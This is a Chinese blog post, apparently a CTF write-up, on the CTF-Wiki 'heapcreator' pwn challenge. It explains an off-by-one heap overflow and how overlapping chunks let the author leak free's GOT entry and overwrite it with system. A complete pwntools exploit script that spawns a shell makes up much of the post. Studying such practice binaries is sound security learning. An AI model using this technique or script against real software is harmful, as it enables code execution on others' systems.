pwn学习

CTF-WIKI 学习PWN heapcreator

1.checksec 发现got表可写
2.程序逻辑
简单的逻辑
其中create是首先在一个结构体数组中创建0x20大小的堆,这个堆块用来指向你自己所创建的堆块这个堆块集合就是heaparray,大小只有十个

可以看出第一个堆块结构他的第一个字段就是你自己所创建堆块的大小,第二个字段即为指向第二个堆块的地址,可以i从上图看出来很明显
可以看出第一个堆块结构他的第一个字段就是你自己所创建堆块的大小,第二个字段即为指向第二个堆块的地址,可以i从上图看出来很明显。

然后就是这个edit函数,你说题目出题就算脱离现实也不能这么脱离吧,正常程序员也不会在这专门加个一吧,除非他是社工
edit函数

这里发现可以通过off-by-one进行堆栈溢出,我们可以通过这个漏洞来修改下一个heaparray的大小字段,然后将其free掉,就比如说我本来是heaparray堆只有0x20,加上我自己申请的0x20大小的堆块,此时我通过这个漏洞将heaparray堆块的大小修改为0x40,这时候我free掉他的时候他就会被放到fastbins中,并且此时这个空闲块是0x40大小,此时若我再申请0x40大小的话他就会将整块0x40大小的堆块分配给我(其中就有以前的heaparray块和我以前申请的堆块),这样就达到了一个任意写的目的。

然后之后就是常规的修改got表中free项的行为,此利用即利用了__free_hook的知识,其完整exp如下

from pwn import *
elf = ELF('./heapcreator')
io = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

free_addr = elf.symbols['free']
free_got = elf.got['free']
context.log_level = 'INFO'
io.success("free_addr is :"+hex(free_addr))
def create(size,content):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)

def edit(index,content): #在这里进行off-by-one
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(": ")
    #gdb.attach(io)
    io.sendline(content)

def show(index):
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))

def delete(index):
    io.recvuntil(':')
    io.sendline('4')
    io.recvuntil(':')
    io.sendline(str(index))


create(0x18,'a'*8)             #off-by-one攻击块
create(0x10,'b'*8)            #释放之后的修改块
create(24,'c'*8)            #
create(24,'d'*8)
create(24,'e'*8)
show(0)
pl1 = '/bin/sh\x00'+'a'*0x10 + '\x41'                
edit(0,pl1)                 #将块大小改为0x41

#首先释放块1
delete(1)                   #此时实际上释放了0x41块
pl2 = p64(0)*4 + p64(30) + p64(free_got)
create(0x30,pl2)
show(1)
sleep(1)
io.recvuntil('Content : ')
free_got = u64(io.recv(6).ljust(8,b'\x00'))
io.success('free_got address is: '+ hex(free_got))

free_libc = libc.sym['free']
system_addr = libc.sym['system']
libc_base = free_got - free_libc
system_addr += libc_base
io.success("system addr is :"+hex(system_addr))
edit(1,p64(system_addr))
delete(0)

io.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值